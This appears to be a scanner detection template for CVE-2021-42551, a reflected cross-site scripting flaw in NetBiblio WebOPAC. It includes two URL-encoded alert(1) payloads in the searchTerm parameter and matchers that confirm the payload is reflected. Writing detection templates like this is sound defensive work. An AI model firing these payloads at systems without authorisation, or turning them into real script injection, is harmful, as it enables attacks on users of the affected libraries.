id: CVE-2021-42551 info: name: NetBiblio WebOPAC - Cross-Site Scripting author: compr00t severity: medium description: NetBiblio WebOPAC before 4.0.0.320 is affected by a reflected cross-site scripting vulnerability in its Wikipedia module through /NetBiblio/search/shortview via the searchTerm parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade to the latest version to mitigate this vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-42551 - https://www.redguard.ch/advisories/netbiblio_webopac.txt classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-42551 cwe-id: CWE-79 epss-score: 0.00124 epss-percentile: 0.4652 cpe: cpe:2.3:a:alcoda:netbiblio:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: alcoda product: netbiblio tags: cve,cve2021,xss,netbiblio,alcoda http: - method: GET path: - '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%27%2Balert%281%29%2B%27x' - '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F' host-redirects: true max-redirects: 3 matchers-condition: and matchers: - type: word part: body words: - "SearchTerm: 'x'+alert(1)+'x'," - "SearchTerm: 'x\\\\'+alert(1),//'," condition: or - type: word part: header words: - "text/html" - type: word part: body words: - "NetBiblio" - type: status status: - 200 # digest: 4b0a00483046022100fdf0d519fc2cabe624dd913081965e0a74e316383109e83999b6be31abc9635c022100fb7ffad54fdfe597dc31d8d121f75445b1c42c2ee059aaad42d176d59b7fd743:922c64590222798bb761d5b6d8e72950